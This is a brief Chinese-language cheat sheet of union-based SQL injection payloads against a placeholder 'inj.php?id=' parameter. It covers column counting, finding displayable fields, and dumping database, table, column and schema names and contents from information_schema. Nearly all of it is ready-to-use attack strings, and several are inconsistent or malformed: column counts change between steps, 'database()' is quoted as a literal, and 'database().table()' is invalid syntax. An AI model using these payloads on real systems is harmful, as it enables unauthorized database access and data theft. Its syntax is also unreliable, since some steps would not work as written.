······/inj.php?id=1' order by 999-- -(建议先用1与999观察页面区别，使用二分法快速拿到列数)
判断可显字段
······/inj.php?id=1' and 1=2 union select 1,2,3,4,5,6-- -(假设通过order by已经查找到6列)
查当前数据
······/inj.php?id=1' and 1=2 union select 1,database(),user(),version(),5,6-- -(假设可显字段位为2,3,4)
查tables
······/inj.php?id=1' and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='database()'-- -
查columns
······/inj.php?id=1' and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='xxx'-- -
查字段内容
······/inj.php?id=1' and 1=2 union select 1,2,xxxx,4 from database().table()-- -(注意后面的database与table要正确,xxxx为column名,当查询当前数据库的时候无需加database(),因为默认当前数据库)
查询所有数据库名
....../inj.php?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata-- -
0x01[基础流程]
Payload